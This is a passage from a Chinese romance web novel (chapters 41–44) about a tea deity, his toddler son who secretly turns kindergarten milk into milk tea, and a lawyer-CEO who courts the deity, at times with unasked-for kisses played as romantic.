如果他不贪心,茶宝还能在他这领着大家吃饭。在他幼儿园彻底倒闭之前,还能有一段欢乐时光。 贺任沅等白清语系好安全带才发动汽车:“你也去新幼儿园看看吧。” 白清语有些忧心,能进贺任沅公司的员工都是大学生,茶宝跟他们的孩子一起读书,会不会竞争压力很大? 下车时,白清语发现白小茶背的是果冻书包,里面只有赤裸裸几根勺子,没有笔、没有书本,进园目标非常明确。 白清语商量道:“宝宝,要不要换一个书包。” 都是贺任沅的员工,平时接送都会遇到,茶神忽然也有一点面子需求了,难怪人类喜欢面子工程噢。 白小茶很喜欢果冻书包,“不用了爸爸。” 白清语:“好吧。” 他真不应该用透明盒子给白小茶装勺子,这下没法伪装文具盒。 白清语看了一眼气质出尘的贺任沅,期待地问:“少爷,你车上有书吗?快点给茶宝塞一本伪装一下。” 贺任沅微微尴尬:“没有。” 白清语蹙眉:“怎么你也不爱读书?” 贺任沅:“……”说的好像他应该为茶宝的学渣基因负责一样,讲道理……不想讲理了。 他转过头,捏住白清语的下巴亲了一下。 “嗯。不爱读。” ———————— 强吻只有零次和无数次。 40-50 第41章 白清语抿了下唇,狠狠瞪了一眼贺任沅,他先带茶宝去幼儿园,等下再来理论。 大美人估计没怎么做过凶狠的表情,做出来的不太像,连茶宝都看不出来爸爸生气了。 贺任沅实在受不了白清语用这张脸露出这样鲜活明艳的表情,缓了缓,落后一步下车。 入园之前,老师要检查小朋友的书包里有没有带不合适的物品,手指甲长不长。 白小茶的书包不用打开一览无余,小于老师会心一笑。茶宝又张开自己的手掌,指甲短短,手背胖胖,验收合格。 “爸爸剪的!”白小茶自豪的说,“爸爸还会剪头发。” 上回贺任沅送茶宝试读,就是小于老师接待的,茶宝叫贺任沅叔叔,小于老师便以为茶宝爸爸和贺任沅是表兄弟,她微笑着抬眸一看茶宝的爸爸,足足愣了十秒忘记说话。 小于老师业余追星,这下她觉得自己这辈子不会再想追娱乐圈容易塌房的丑男了。 其实老板长得也帅,但是谁能把冷面上司当明星追,光是脑补他笑一笑就一身冷汗了。 “小茶爸爸您好,我是小小班的班主任,叫我小于就好。” “小于老师你好,茶宝就拜托您了,他比较爱睡觉,请您让他多睡觉。” 小于老师:“好的好的。” 白小茶:“爸爸叔叔去上班,宝宝去上学。” 白清语挥挥手。 小于老师领着茶宝去小小班,贺任沅想带白清语参观幼儿园的食堂和户外场地。 白清语:“您这样道德沦丧的人,最好不要进幼儿园。” 贺任沅:“我怎么……我道德沦丧。” 贺任沅垂着眼,看见白清语在手机上搜索“熟悉并掌握法律的律师能不能胁迫别人领证?” 搜出来的回答十分稀少,如果当事人智商正常的话,大抵不会。 白清语放心地把手机揣回兜里,他知道贺任沅在看,就是要让他看。 贺任沅正色道:“以后我上班顺路带茶宝上学,下班我再带茶宝回家。” “这样可以节约不可再生能源。” 白清语不置可否,不想跟他说话。 贺任沅:“现在我送你回去?还是你要就近守着茶宝?” 白清语眯着眼睛,斜睨贺任沅,不关你的事。 贺任沅:“要不跟我去公司,离这里只要步行五分钟,你可以近距离守着茶宝。” 白清语冷笑一声。 贺任沅终于投降:“我为我亲你这件事道歉,我不该不征得茶神的同意就擅自冒犯神威。” 冒犯神威?白清语眼里光簇闪动,这个用词严谨,衬托了茶神的高贵和贺任沅的渺小。看在他诚心诚意道歉的份上,他就不计较凡人的冲动。 白清语大发慈悲地开口:“我走了谁喂鸡?” 贺任沅反应了一下,这是对上个问题的回答,倒也不必这么爱岗敬业。 “我打算购入一个全自动喂食机,落实你的双休。”平时也可以用。 白清语周末打算回老家,立刻道:“你马上买。” 他盯着贺任沅掏出手机,购物软件寥寥,指导道:“你下载那个红色的。” 贺任沅:“去车上弄。” 白清语坐上副驾驶,为了看清贺任沅的手机界面,只能倾过身去,下巴几乎搁到贺任沅肩膀上,像趴在主人身上看手机的猫。 贺任沅下载了白清语的指定购物软件,输入“全自动喂鸡”五个字,他以为应该搜出一个像酒店送餐机器人类似的,代替人类行走鸡圈,拥有精美的外观、自动清洗杀菌、自动搅拌出料…… 白清语兴奋地说:“愣着干什么,点那个45元的。” 贺任沅看着只有一个简陋电机的商品图,闭了闭眼,相当于买饮水机只买了个定时出水开关,上面的装料桶要自己安装,下面的固定支架也要自己配。 为什么没有人发明给母鸡送餐的机器人?明明全世界的鸡比人还多。 贺任沅:“好歹买这个远程WiFi控制的。” 白清语:“要贵六十。” 贺任沅:“但是它有喂食音乐,母鸡一听见就跑过来吃饭,吃得新鲜。” 白清语心动:“好吧。” 在白清语的目光中,贺任沅下单了102元的高级款式。 白清语眼角一弯,上下两排睫毛碰在一起,脑海中已经在畅想如何用旧物改造出装料桶和接料盘。 白清语:“我种的丝瓜长高了,伸出很多小触须。” 说完,他身体倾斜累了,干脆把左手臂搭在贺任沅肩上,他宛若暗示什么一般,盯着贺任沅的眼睛,满含期待道:“有半米高了。” 贺任沅没弄明白他想暗示什么,希望耳旁风可以给个明示,他什么都能答应。 白清语看了他一眼,道:“我丝瓜架子还没搭!” 贺任沅只好继续搜索“丝瓜架子”,商品名称“户外爬藤架子。” 几根绿色管子和连接管就能组装出白清语需要的架子。 白清语:“买3号这个,长宽高一米八的。” 贺任沅想了一下,选择了高度为“两米二”。 白清语皱眉:“你又多花了三十块!” 这是他见过最败家的人!要不是在城里,他自己上山砍竹竿就能搭好了。 “你多买这三十厘米干嘛?” 贺任沅:“太低了我进去摘丝瓜会碰头。” 白清语讶异道:“你不是很嫌弃吗?怎么也想进去摘了?” 贺任沅:“我觉得瓜田李下挺好的。” 白清语:“你能想通就好,我种的丝瓜很好吃的,加鸡蛋炒一炒,又软又嫩,茶宝爱吃。” 贺任沅看着眉飞色舞的白清语,是不是跟自己一起购物,让白清语觉得更加有趣?他趁热打铁道:“我们去商场逛街,给茶宝买一些书本和文具。” “商场?”白清语立刻打开车门下车,“我坐地铁回去,再见。” 贺任沅:“……”难道他这辈子只能跟白清语在红色购物软件里比价吗? 如果是一辈子倒也行。 白清语把吃播账号后续都委托给贺任沅负责,他自己一点也不操心。 贺任沅任劳任怨地打开某音软件,监测后续舆论。 早上九点@园长妈妈就发了一则声明。 [本账号负责人(男)未经家长允许,擅自将幼儿园孩子吃饭的视频上传至网络盈利,现已深刻认识到错误,向各位出镜宝宝及其家长和粉丝道歉,所有盈利将捐给乡村小学免费午餐项目。本则声明公示一天后注销账号。] 账号上的其他视频已经全部删除,只留下这则声明。 底下的评论一半是骂园长,一半是哀嚎自己的电子榨菜宝宝没了。 贺任沅一目十行地扫视评论区,看见几个人在分享视频存档,犹豫了下没点击举报。 舆论暂时没有攻击茶宝和白清语的倾向,贺任沅放了心。 他刚想放下手机,开车回公司,手指蓦地一顿。 人类最重要的是能从过去吸取经验。 一个“网红干饭宝宝”关键词,就能搜到茶宝,只是他想不到去搜。 茶神在世间活动几千年,总不能什么痕迹都不留下吧? 贺任沅坐直身体,立刻在浏览器里输入茶神二字。 首先出来的是茶叶产区祭祀茶神的活动。 有一篇文章把过程写得十分详尽,贺任沅用了十五分钟阅读,没有发觉什么线索,祭祀流程大同小异,倒是最后配图的贡品有些眼熟。 他划过这些祭祀报道,想看看民间传说。 忽地,他看到一则帖子。 [楼主:今年茶神显灵了,吃了我们的贡品,茶神吃贡品就会降下福泽。今年茶叶一定高产,双手合十。] [这年头还有人真情实感信神,贡品被偷你应该报警。] [楼主你家地址在哪,我没别的意思,其实我也是一名茶神,免费帮吃。] [标记一下,我卖保健品的。] [其实路人就是可以免费吃的啊……想吃我们也不会拦着。] 帖子里几乎都是嘲笑楼主,直到楼主一年后来挖坟,说今年茶叶不论新老,品质真的非常好。 然而楼里还是没有人信他。 三年多前的帖子,正是贺任沅掉崖之时,贴主主页透露出的生活地址,恰是附近。 那么,他可以不可以猜测,白清语把自己带到某处神仙洞府养伤,因为自己是人类需要吃食物,所以白清语出门替他“拿”贡品? 白清语送早餐到他办公室时,他就闪现过类似画面。 贺任沅看着贴主的附图,照片中,贡品没有被打乱,几乎是每盘都拿了一点点,有的盘子剩下的食物造型还很耐人寻味:是从中间被人掏走一块,一般人没有这么鬼斧神工。 难怪他吃茶宝剩下的大杂烩很顺利就吞了下去,因为他不是第一次吃了。 这回有证据了,还是茶农给的旁证。据他观察,白清语对茶农发自内心宽容,起码不会像辩方律师提交证据时那样直接驳回。 贺任沅保存了帖子,刚想转发给白清语,手指一顿。 评论里都是嘲讽贡品被偷的,白清语看见了会难受。 白清语的性格,看见帖子,就会像一只白鸟看见自己羽毛上有墨点,不停地在水边梳洗。 贺任沅叹了口气,退出这个帖子。 以他和白清语两个对过去一片空白的脑袋,想抓住一些证据难如登天。 但有时候证据不是最重要的,法官大人的心情更重要。 ———————— 白清语:你抹黑司法。 贺任沅:没有。 白清语:你抹黑我! 第42章 “笃笃。” 有人敲他的车窗,贺任沅降下来,看见祝一擎的脸,“有事?” 祝一擎:“你停在幼儿园门口干嘛?” 贺任沅:“送孩子上学。” 祝一擎显然把它当玩笑话,“看你挺闲的,要不要跟我一起参加一个饭局?有很多大佬……” 叮咚,他话没说完,看见贺任沅的手机上浮出一条消息。 [你要不要去挖野菜,我想给茶宝包饺子。] 贺任沅顿时回复:“好。” 祝一擎 :??? 贺任沅旁若无人,给白清语发消息:“你是不是没走远?” 白清语很快回复:“是的,我在地铁站听人说现在去西山摘荠菜,包饺子特别好吃,下午市政府就要洒农药了!” 看来时间很是急迫,不然白清语也不会叫他。 贺任沅:“我还在幼儿园门口。” 白清语:“我过来了。” 贺任沅抬眸对祝一擎道:“让一让,我要开车了。” 祝一擎:??? 不是,你推了山珍海味的饭局,是为了去挖野菜?口味啥时候变成这样了?以前邀请你去农家乐不是一副精英姿态不肯去吗? “不对劲,你不对劲——”祝一擎正要问个清楚,迎面突然走来一个大美人。 贺任沅下车,打开副驾的门,祝一擎下意识想进去,被挡了一下:“我要去挖野菜,你也要去?” 白清语笑眯眯道:“也可以一起去啊,人多力量大。” 祝一擎没见过长得这么好看的人,甚至不能称之为人,因为他没见过长得这么好看的人……美到他语无伦次。 贺任沅:“快进去,这里不能停车。” 白清语“哦”了一声,矮身坐进去。 祝一擎不认识贺任沅了一般看着他,不是,你在这停了半天,人家一来就变成违停了? 他忽地想起自己上次问贺任沅家里是不是有漂亮嫂子了,贺任沅说“也就还好”。 这叫这就还好?哈哈哈也就是让贺任沅心甘情愿挖野菜的水平啦。 祝一擎火速打开后车门:“嫂子,我帮你挖。” 白清语疑惑地转身,问他:“你在叫我吗?我只是贺少爷的保姆而已,我叫白清语。” 贺任沅勾起的嘴角一平。 祝一擎:“白清语你好,我叫祝一擎,是他的发小。你们刚才真的是来送孩子上学的?” 白清语点头:“是的,送我儿子上学。” 还是个有孩子的美貌保姆? 祝一擎吃惊地看着贺任沅的背影,按照他对贺任沅的道德底线揣测,白清语应该是个单身带崽子的寡夫。 他有些震惊于兄弟的择偶选择,又觉得理所当然,毕竟白清语这么美。 半小时后,贺任沅开到西山,三个人开始摘荠菜,荠菜叶片边缘锯齿,很好认。 祝一擎五谷不分,心不在焉,摘了一堆杂草,他主要是来观察贺任沅和白清语的。 观察了半天,发现好像就是纯粹的合伙摘野菜关系。 他拉住贺任沅:“你的进度?” 贺任沅保持缄默。 祝一擎:“……你都亲自送人儿子上学了还没有进度?活该你挖野菜!” 贺任沅:“野菜都不会挖,被骗钱了饿死活该。” 祝一擎:“……你就嘴硬吧,我算是明白上次在酒吧你破防什么了。” 笑死,一个初中生发牢骚都能扎贺总的心。 看来是观察不到苗头了,祝一擎火速找了个借口溜了,野菜留给爱吃野菜的人挖。 …… 白小茶在新幼儿园里呆的时间比较长,吃饭的时间节点不一样,差半个小时。一进园,幼儿园就发早餐牛奶配白芝麻小圆饼干。 每个小朋友坐在自己的位置上,桌子上的塑料盘子里,一个不锈钢杯子装着八分满的温牛奶,两边有可爱的小动物把手,旁边三个小饼干。 有的小朋友不爱喝牛奶,光啃饼干不喝奶,有的小朋友用小饼干泡牛奶。 白小茶什么都能吃,看见牛奶眼睛一亮,喝了一大口,刚想摇一摇,突然想起爸爸的嘱咐,不能在幼儿园摇奶茶。 (⊙-⊙) 牛奶的意义失去了一半,白小茶只好咽下牛奶,余光看见隔壁的小朋友把饼干泡进奶里,软化了捞起来吃。 他有样学样,捏着一个小圆饼干蘸牛奶。 喔,手指也蘸到牛奶了。 咦?白小茶眼睛茶溜溜地转了一圈,借着泡饼干的动作,把整个奶呼呼的小拳头都伸进杯子里,搅了搅。 用手摇奶茶,也是一样的噢。 他使劲搅拌搅拌,伸出手舔一舔大拇指。 还差一点。 再摇一摇。 可以了! 白小茶两只手端着杯子把手,端起来猛喝一口:“好好喝噢!” 值班老师没发现茶宝的小动作,夸道:“茶宝喝得真快。” 旁边的西瓜头宝宝,仿佛识破了带货小吃播和他的托,反对道:“牛奶不好喝。” 白小茶认真道:“好喝!” 西瓜头宝宝:“我是哥哥,我觉得不好喝。” 白小茶作为全班最小的宝宝,见哥哥固执己见,遂点点头,脾气很软地退了一步:“我的好喝。” 西瓜头宝宝顿时不服,只要是牛奶,全世界都不好喝,他看着茶宝咕嘟咕嘟喝牛奶,走过去道:“我可以喝一口你的吗?” 白小茶很大方,爸爸说过嘴里的奶茶不能吐出来,没说手摇奶茶不能分享,“可以噢。” 西瓜头用自己的饼干蘸了下茶宝的牛奶,吮了吮上面的奶。 唔?! “茶宝哥哥,你的好喝。”西瓜头马上滑跪成奶狗弟弟,眼巴巴看着,可以再喝一口吗? 另一个小眼镜宝宝,闻言立刻也来蹭一口,得出结论:“茶宝哥哥,你的好喝。” 大家都很喜欢他的奶茶噢。 白小茶自豪地笑弯了眼睛,见者有份,给每个小朋友的杯子里都倒了一点点,每个人再还他一点点。 老师看得哭笑不得,别人家的饭菜香,别人家的牛奶香,小朋友就是这么无厘头。 十一点半,幼儿园发正式午餐,是肉包子和软面条。 园长伯伯的幼儿园十二点二十分放饭,叔叔的幼儿园这个时间放饭,对茶宝而言简直是惊喜。 他美美吃了一顿,还多吃了新认识小弟分的半个肉包。 五十分钟后,白小茶身体里的吃饭闹钟又响了,他没有提前吃了的意识,理所当然觉得还有一顿。 虽然不饿了,但是还可以吃! 他盼着,看着餐厅的方向,然后被老师领到了睡午觉的地方。 白小茶呆住:“要睡午觉了么?” 真的睡午觉了。 因为吃饭时间的差别,生物节律十分精细的宝宝头一回没有倒头就睡,而是在床上翻来翻去。 其他小朋友也翻来翻去,空气中活跃着不想睡觉的快活因子。 监督睡觉的老师一看,有些疑惑,为什么今天大家都不想睡觉的样子? “还有哪个小朋友没有睡着?” 白小茶是第一回 清醒着听见这句话,礼貌地回答:“小于老师,我还没有睡着。” “老师,我也没有睡着!” 老师:“……” 晚上五点半,贺任沅带茶宝从幼儿园回来,白清语也包好了荠菜猪肉馅饺子。 白小茶咬了一口,就尝出熟悉的味道:“是爸爸挖的野菜。” 等等…… “爸爸,你是和叔叔一起挖野菜吗?” 怎么不带宝宝了? 白清语不知为何骤然心虚,可能是因为这次没有先让白小茶在挖野菜和上学之间做出选择,而是直接找了贺任沅:“不是的,爸爸一个人!” 贺任沅侧眸看向白清语。 白清语:“因为野菜太多了,这里也有,那里也有,爸爸一个人就够了。” 白小茶相信了:“爸爸辛苦了。” 贺任沅勾了勾嘴角,很好,会糊弄茶宝说明心虚,心虚说明跟自己一起出去他问心有愧不够坦荡。 * 周一因为去上一个幼儿园告别,茶宝晚于其他人上学,周二就得照常上学。 舒贺员工幼儿园可以提前送也可以拖后接,因此茶宝可以无障碍跟着叔叔上下班。 贺任沅把接送距离做到最后一公分,早上堂而皇之地走进白清语的屋子。 白清语这个人被强吻了还不长教训,睡觉不反锁门,这不是等着他开,是等什么? 白小茶一到吃饭的点,任何一点动静都会醒来,避免错过任何一顿饭。老板叔叔一开门,他就从被窝里钻出来,轻声喊:“叔叔。” 贺任沅抱起小崽子:“醒了,叔叔抱。” 白清语迷迷糊糊地睁开眼,看见床尾的男人,挠了挠头发:“你这么早干嘛?” 贺任沅:“给茶宝洗尿布。” 白清语呆滞地看着他,你怎么把洗尿布的语气说得像入室抢劫一样,怕晚了洗不上? 贺任沅带茶宝去卫生间洗漱,白清语隐隐约约听见他教茶宝怎么上上下下地刷牙,声音很轻,语调很柔,是很稀少的腔调,连白清语也没怎么听过。 白清语裹着薄被,卷成一个白茧,唔,白小茶也不会蛀牙,随便刷刷就可以了。贺任沅怎么教什么都很有耐心。 过了一会儿,卫生间传来搓洗的动静,随后,贺任沅拎着尿布出来,把阳台的门打开一条小小的缝,挤出去把尿布晒了。 贺任沅进来,从兜里掏出一支奶酪棒,撕开了给茶宝。 白小茶接过来塞进嘴里,奶酪在叔叔兜里捂热了,好吃,他品尝着奶酪棒,任由贺任沅趋于熟练地给他换衣服穿鞋子,一会儿抬抬手,一会儿抬抬脚。 贺任沅抱起小崽子,对静静围观了全程的白清语道:“我带他下去吃饭,然后送他上学,你继续睡。” 白清语的茶色眼珠子随着他移动,听到这句跟茶宝一样温柔的语气,好像等到了什么一样,“哦。” “爸爸我去吃饭了!” 白清语:“拜拜。” 房门轻轻关上,白清语想起带着崽子左躲右藏的日子,恍如隔世。 养崽真简单,随便养一养就长大了。 餐厅里,贺任沅带着孩子吃饭,管家看了不由感慨,大少爷越来越有当爸爸的样子了。 临走之前,白小茶从零食堆里刨了一盒饼干放进书包里。 午睡的时候吃一点点小饼干就能睡着了! 幼儿园门口,贺任沅蹲下来,给茶宝手腕上戴了一个儿童手表,“有事情给叔叔打电话,按这个键,或者直接喊我要找叔叔。” 白小茶对着手表喊:“我要找叔叔。” 下一秒,贺任沅的手机响起来。 白小茶:“我要找爸爸!” 过了两秒,白清语接通了电话:“是谁?” 贺任沅压低声音伪装绑匪:“你儿子在我手上。” 白清语:“你送到幼儿园门口了吗?” 贺任沅:“……”白清语还挺会辨认他的声音?他用这个声线跟白清语说过话吗? “到了,马上就进去了。” 白小茶:“爸爸,叔叔给我打电话的手表。” 白清语:“爸爸下次就知道是宝宝了。” 白小茶:“宝宝吃五顿就回去了!” 本来是四顿,午睡时茶宝自己加餐一顿。 白清语没发现任何不对:“好。” 直到两个小时后,幼儿园的老师打来电话:“茶宝爸爸,您是不是给茶宝带了奶茶粉上学?可以来幼儿园一趟吗?因为茶宝不肯说是哪来的奶茶粉。” 而且其他小朋友很仗义,咬定茶宝哥哥什么都没加,他们什么都没看见。 西瓜头十分拥护白小茶:“就是牛奶味,茶宝哥哥说没有就是没有。” 老师感到头痛,没有你们怎么一口一个茶宝哥哥!没有你们排队交换牛奶!你们跟茶颜悦色门口排队的有什么区别?! 白清语惊坐而起。 “等等,我联系一下律师。” 老师:倒也没有这么严重? 白清语先给贺任沅打电话,然后再给茶宝的电话手表打电话:“宝宝,律师来之前你一句话都不要说。” 白小茶稳重道:“好的噢,爸爸。” 三分钟后,贺任沅火速从会议室直接来到了幼儿园,坦然背锅:“对不起,是我不小心让他拿到了一包奶茶粉。” ———————— 众小朋友:茶宝哥哥的奶茶店很卫生,他洗了手才制作奶茶。 第43章 半个小时前,小章老师宣布,今天喝牛奶不能倒来倒去。 西瓜头宝宝闻言天塌了,怎么回事,牛奶又变成世界上最难喝的东西了。他沮丧一会儿,看见白小茶“泡”好了奥利奥,可怜巴巴地说:“茶宝哥哥,我们可以交换牛奶吗?” 小章老师投来视线,还好,两个宝宝都还没有喝,换就换吧。 牛奶杯是不透明的,白小茶捏着奥利奥在牛奶里泡一泡,搅一搅,只有西瓜头宝宝能看见他把手都泡进牛奶里,老师看不到。 没关系的,好喝。 白小茶总是很大方,把自己摇了五分茶味的奶茶交出去:“可以换。” 西瓜头喜出望外,今天拥有一整杯好喝的牛奶,他双手捧回座位,直接一个畅饮。 白小茶重新摇奶茶,眼镜宝宝走过来:“茶宝哥哥,我也要。” 白小茶:“等一下哦。” 眼镜宝宝后面还有天然卷宝宝排队,天然卷后面还有……白小茶把手摇成了小螺旋桨。 纯手工制作的奥利奥奶茶,瞬间爆单二十杯,宝宝快忙不过来了! 他一脸稳重地制作奶茶,一手按着把手,一手捏着奥利奥搅动,嘴唇紧紧抿着,说话的空也没有,搅完一杯递出去,接过来下一杯。 天然卷宝宝本来就爱喝牛奶,喝三分茶就够了。 摇快一点,不然轮到最后自己喝时牛奶要凉掉了。 起初,小章老师以为茶宝在帮大家泡奥利奥,毕竟奥利奥的广告食用方法就比较复杂,直到排队的小朋友越来越多,好像排什么奶茶店一样。 小章老师走进一步,看见白小茶把手伸进牛奶杯里,眼前一黑,不是,这么多小朋友,没有一个爱干净吗? 白小茶感觉到老师的凝视,抬眸,撤手,在裤子上擦了擦。 宝宝什么也没干。 小章老师伸手,打算换一杯新牛奶,比她的手更快的是终于排到自己的麻花辫小朋友,端起自己的牛奶就跑,“老师,这是我的!” 这个小小的变故引起了所有人的警觉,慢慢品味的小朋友赶紧猛灌,争分夺秒。 小章老师一时不知道先阻止哪个,最后抓住一个空杯子闻了闻。 奶茶味?! 怎么会有奶茶味?今天食堂提供的是纯牛奶啊?她赶紧端起一杯正在排队没有被祸害的牛奶,一闻,确信是在白小茶这里加工过才有奶茶味。 “茶宝,这是怎么变成奶茶味的?” 白小茶:“宝宝搅一搅就变成奶茶了!” 小章老师:“怎么搅一搅,宝贝加了什么东西变得这么好吃?” 白小茶摊开自己的手,诚实道:“没有哦。” 西瓜头隐隐约约意识到,如果被老师抓包,以后都没有奶茶喝了,他当即替大哥出头:“茶宝哥哥什么也没有加!” 小眼镜:“对!我什么也没看到!” 天然卷:“木有!” 麻花辫:“茶宝哥哥没干坏事啊!” 西瓜头:“我喝的就是牛奶,我每天都要喝牛奶!” 白小茶被抓包有些心虚,他被小章老师盯着,忍不住就会想告诉老师奶茶制作原理。 爸爸说不可以说噢。 但是不看老师也是很不礼貌的,看老师又会想说出来。 白小茶苦恼地挠挠脸蛋,忽地,他想起跟姜萌萌姨姨玩的一二三对视木头人。 对噢,小章老师也在玩木头人!白小茶立即摆出他赢姜萌萌的绝杀表情,嘴角紧紧抿着,注视着小章老师。 小章老师眉心一跳,莫名从一张奶呼呼的脸上看见黑*会大佬的姿态,而且还有些眼熟。 小章老师遇到史上最难以击破的小团伙及其头目,只能给家长打电话。 没想到家长也不好惹,直接就是请律师。 茶宝是舒贺集团总裁的关系户宝宝,只有园长和接待过的小于老师知道,为了避免有心人故意让孩子讨好茶宝来讨好他,破坏双方幼崽的正常社交,贺总不得不低调。 贺任沅高调地从开会开到一半的会议出来,低调地在幼儿园道歉,身上是很板正的西装,手上是名贵的腕表。 白小茶被爸爸嘱咐律师叔叔来之前不能说话,看见叔叔眼睛一亮:“叔叔!” 白小茶:“叔叔,宝宝有洗手噢。” 贺任沅哭笑不得,走过来摸摸他的脑袋。 小章老师并不认识集团总裁,就隐约觉得眼熟,在哪里见过,这么帅,是杂志封面模特吗? “很抱歉,茶宝他喜欢喝奶茶,早上不小心让他带了奶茶压缩片,我以后一定注意,我保证奶茶没有问题,老师您可以通知其他家长,如果要送孩子去医院全身检查,我费用全包,三天内身体不舒服我也负责到底。” 律师意外地通情达理,不是来告他们的。之前也有小朋友躲避检查偷偷带零食进来分,被发现教育一顿就行了。 小章老师:“我们得弄清楚他是怎么带进来的,杜绝下一次。” 贺任沅一边说着“应该是揣口袋里吧”,一边装模做样摸摸茶宝的裤子口袋,然后摸出了一盒饼干。 小章老师:“真的是放口袋里啊,茶宝的口袋真大,这一盒饼干老师帮你保存,放学了还给你噢。” 贺任沅和白小茶面面相觑:“……” 午睡饼干没有了。 贺任沅低声道:“叔叔不是故意的。” 白小茶点点头:“没关系的叔叔,宝宝今天吃四顿就好了。” 明明是四顿,不是一顿,贺任沅却听出一股强撑的懂事感,当机立断:“叔叔带你去公司食堂再吃一顿。” 他抱起小崽子:“我带回家教育。” 小章老师:“讲点道理就好,茶宝很聪明的。” 贺任沅:“嗯。” 贺任沅一出幼儿园,图穷匕见:“茶宝,要不要叫爸爸一起来吃饭?” 白小茶:“要!” 贺任沅:“叔叔好像忘记带手机了。” “我给爸爸打电话!”白小茶丝滑钻进叔叔的套路,对着电话手表喊,“我要找爸爸!” 白清语接通:“宝宝?叔叔在你身边吗?” 贺任沅:“我在,处理好了,没人怀疑。我把茶宝带出来反省。” 白清语:“谢谢你。” 白小茶:“我想跟爸爸一起吃饭。” 白清语也觉得茶神小课堂刻不容缓,严禁手工奶茶进幼儿园:“好的。” 白小茶在幼儿园没来得及喝牛奶,在老板叔叔的办公室补上,补完了在沙发里晒太阳睡觉,睡到中午爸爸过来吃饭。 贺任沅在公司食堂打包了四菜一汤,不敢弄太多,怕节俭的茶神有意见。 他一边打开保温的铝箔,一边听白清语亡羊补牢。 “用身体的任何部位,在外面摇奶茶都是不可以的。”白清语想起儿子曾经想用脚给贺任沅炒茶,这回范围划到了最大。 白小茶老老实实:“知道了爸爸。” 贺任沅:“说完了?” 白清语:“你也说两句?” 律师最会查漏补缺了,白清语担心自己强调得还不够全面。 贺任沅:“茶宝,闭上眼睛。” 白小茶不明所以地捂住眼睛:“噢!” 白清语疑惑,这是什么招数?下一刻,他的嘴唇被人碰了一下。 贺任沅:“收点报酬。” 白清语脖颈漫上热意,“哦。” 贺任沅低头又亲了一下。 白清语美目愠怒:“律师费这么贵?” 贺任沅:“这次是私人行为,我为我的冲动抱歉。” 白清语:“哦。” 等等,道歉了就能亲茶神吗? 贺任沅执起筷子从碗里戳了一颗鱼丸,举到茶宝面前:“茶宝睁眼。” 白小茶睁开眼睛,哇,叔叔会变鱼丸! 在茶神谴责的目光中,贺任沅从容不迫地给茶神和茶宝夹菜,贯彻节俭:“多吃一些,努力吃,吃剩下的叔叔包了。” 白清语端起碗,先吃再说吧。 白清语作为一个成年茶神,胃口却和白小茶差不多。 若非知晓他是神仙,贺任沅简直要担心得坐立不安。 白清语吃了两口,就觉得贺任沅给他夹的菜太多了,肉丸子南瓜丸子都很占肚子,他用筷子搅了搅,把完整的丸子戳烂。 这样就不占肚子了。 过了一会儿,白清语还是吃不完:“我吃不完。” “留着我吃。”贺任沅一直注意着茶宝吃饭,致力于培养茶宝非混合的吃饭习惯,转头一看白清语的碗,沉默片刻。 小的注意了,大的没注意。 白小茶仰起头,要看看爸爸的碗。 贺任沅眼疾手快盖住了碗面,不让白小茶看见错误示范,温声道:“茶宝喝一口汤,对,舀起来直接喝。” 不是他双标,纵容白清语。 是因为小的只进油盐,大的油盐不进。 贺任沅端起白清语的碗,快速帮他扫底。 白清语忽然有些脸热,感觉又被亲了一口一样。 一定是贺任沅心里在耍流氓被他读心了。 贺任沅吃完饭,收拾了一下桌面,看了一眼腕表,道:“你们在这午睡一会儿,我有个客户要见。” 因为对方要见客户这件事听起来很紧急,白清语一时忘记反驳要回家午睡,坐直了一些,道:“你去吧,不要耽误工作。” 工作很重要。 贺任沅起身进去换掉被茶宝溅上油点子的衬衫,临要出门,忽然转身看着白清语。 白清语直觉不好:“怎么了?” 贺任沅:“我要见一个重要客户。” 白清语:“所以?” 贺任沅:“我刚吃了你的大杂烩剩饭,漱口水恰好用完了……” 白清语:“你——唔。” 这个吻不同以往,舌头像口香糖一样被贺任沅含着咬着逗弄,口腔被动分泌出水液,也被尽数吮取。 他就说贺任沅刚才在心里耍很黄很黄的流氓。 白清语被亲得失去天生的力气,软塌塌的后退一步,咚地坐在了沙发上。 贺任沅放开他,客气道:“谢谢,我能见人了。” 白清语满面通红,茶神快见不了人了。他又不是绿箭口香糖。 会议室。 贺任沅要见的客户,其实也是个多年老友,趁着午餐时间谈一谈合作意向,他春风得意马蹄疾,一进会议室,却发现老友面色衰败,眼神带痛:“不吃饭了,没胃口,直接谈吧。” 他立即收敛了不太外露的喜色,关心道:“你脸色不太好,胃痛?” 老友叹了口气:“你知道我养的那只拉布拉多吧,很聪明,跟了我十几年了。” 贺任沅:“嗯。” 老友:“狗的寿命跟人比不了,我用尽医疗手段都不行,老了病了实在痛苦,早上把他安乐死了。” 空气瞬间变得沉重,仿佛能拧出水来。 贺任沅张了张口,似乎想安慰两句,但是他的脸色更为差劲。 连老友都看了出来,反过来问:“你怎么了?” 贺任沅:“没什么。”突然觉得自己像狗。 他最近追白清语太上头了,都忘记凡人短暂的一生,如何跟茶神比拟。 白清语已经活了两百年,往后不知还有多长岁月。 白小茶才一岁半,距离成年还有好久。 他一定不能陪伴白清语走完一生,甚至可能看不到茶宝成年。 两百年的大茶神,一年半的小茶神,如果按照他的设想,先跟茶宝建立父子情,栓住长腿会跑的白清语,但是这样是不是对茶宝太残忍了? 茶宝有必要经历凡人的生离死别吗?他在茶宝从小就建立的感情,到头来会伤到还不够强大的茶宝。 白清语更不必说,他喜欢往人多的地方去,爱凑热闹,乐天乐山乐水,最好不要改变。对白清语,他只能当茶神忠诚的人类朋友,于茶宝,做好叔叔的本分,过界了太自私。 短短几秒,贺任沅的心情翻天覆地,行尸走肉般地走出会议室,看见茶神父子俩,努力藏好心情,道:“办公室太吵了,要不我派人送你们回家睡觉?” 白清语:?生意谈失败了? 贺任沅好像有点不对劲。 这一点不对劲,在三天后,白清语觉得是非常不对劲。 因为没有人类骚扰茶神了。 白清语怀疑了三天,忍不住悄悄拉着茶宝严肃地询问:“宝宝,老板叔叔每天早上还会给你带奶酪棒吗?奶酪棒放口袋里温好的吗?” 白小茶点头:“会哦。” 白清语:“那他还会中午去幼儿园偷偷给你送午睡小饼干吗?” 白小茶重重点头:“会噢!” 白清语:“那他还会晚上先准时接你放学,再去把工作做完再带你回来吗?” 白小茶头也不抬地挖冰淇淋:“当然是噢。” 白清语纳闷,那大茶神的待遇怎么变了? ———————— 贺任沅:大的油盐不进,朽木不可雕也。 祝一擎:妻管严被你说得这么清新脱俗! 其实不会要求老婆改变的好攻一枚~ 第44章 贺任沅真是奇怪。 